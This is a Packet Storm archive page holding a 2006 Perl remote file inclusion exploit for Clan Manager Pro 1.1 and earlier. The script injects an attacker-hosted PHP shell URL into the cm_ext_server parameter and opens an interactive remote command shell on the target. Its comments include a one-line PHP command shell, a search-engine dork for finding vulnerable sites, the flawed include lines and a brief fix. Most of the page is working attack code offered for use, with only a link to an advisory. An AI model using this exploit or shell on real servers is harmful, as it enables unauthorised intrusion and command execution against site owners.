exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

cmpro-1.1.txt

cmpro-1.1.txt
Posted Jun 11, 2006
Authored by Florian Strankowski | Site sx02.coresec.de

Clan Manager Pro 1.1 and prior remote file inclusion exploit.

tags | exploit, remote, file inclusion
SHA-256 | 33a4a11d03588e954bd7f1728e66ad72cc8284ac0936425f2882698d0d9f14bc

cmpro-1.1.txt

Change Mirror Download
Hi,

http://sx02.coresec.de/advisories/149.txt

-- cut here --

#!/usr/bin/perl
############
# Clan Manager Pro (CMPRO) <= 1.1
#
# Homepage: www.cmpro.org
# Affected Version: <= 1.1
# Patched Version: /
# Date: 06.06.2006
#
# Application Risk: High
#
# Vendor notified : 06.06.2006
#
#
# Exploit written : Sx02
# http://sx02.coresec.de
#
# usage:# perl cmpro.pl <host> <command shell url> <cmd variable (e.g.:
cmd)>
# perl cmpro.pl http://localhost/path/to/cmpro.extern/
http://localhost/cmd.gif cmd
#
# cmd shell example: <? system($cmd); ?>
# cmd variable: cmd;
#
#
#
# DORK: inurl:"cmpro.ext"
#############
#
# Vulnerable code (cmpro_header.inc.php)
#
# INCLUDE($cm_ext_server.'/config/einstellungen.inc.php');
# INCLUDE($sitepath.'cmpro.ext/global.functions.php');
#
# --------------------------------------------------------
#
# $cmd_ext_server and $sitepath were not declared
# before, so they are vulnerable to remote file
# inclusion.
#
# cmpro_header.inc.php?cm_ext_server=CMD
# cmpro_header.inc.php?sitepath=CMD
#
# --------------------------------------------------------
#
# Solution :
#
# declare variables before including them !
#
# --------------------------------------------------------
#
# "Everything should be made as simple as possible, but not simpler"
# 'Albert Einstein'
#
############
use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv) { usage(); }
head();
while() {
print "[shell] \$";
while(<STDIN>) {
$cmd=$_;
chomp($cmd);
if (!$cmd) {last;}
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET
=>$Path.'cmpro_header.inc.php?cm_ext_server='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or
die "\nCould Not connect\n";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[ê]/;
if ($return =~/Error: HTTP request failed!/ ) {
print "\nInvalid path for phpshell\n";
exit;
} elsif ($return =~/^<br.\/>.<b>Fatal.error/) {
print "\nInvalid Command, error.\n\n";
}
if ($return =~ /(.*)/) {
$finreturn = $1;
$finreturn=~ tr/[ê]/[\n]/;
print "\r\n$finreturn\n\r";
last;
} else {
print "[shell] \$";
}
}
} last;

sub head() {
print
"\n============================================================================\r\n";
print " CMPro CMS <= 1.1 Remote Command Execution Exploit\r\n";
print " Vulnerable found and Exploit written by Sx02\r\n";
print
"============================================================================\r\n";
}

sub usage() {
head();
print " Usage: perl cmpro.pl <host> <command-url> <cmd>\r\n\n";
print " <host> - Path to CMPro Directory : http://localhost/path/to/cmpro/
\r\n";
print " <command-url> - PhpShell : http://localhost/cmd.gif \r\n";
print " <cmd> - var name used in phpshell : cmd \r\n\r\n";
exit();
}
-- cut here --
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close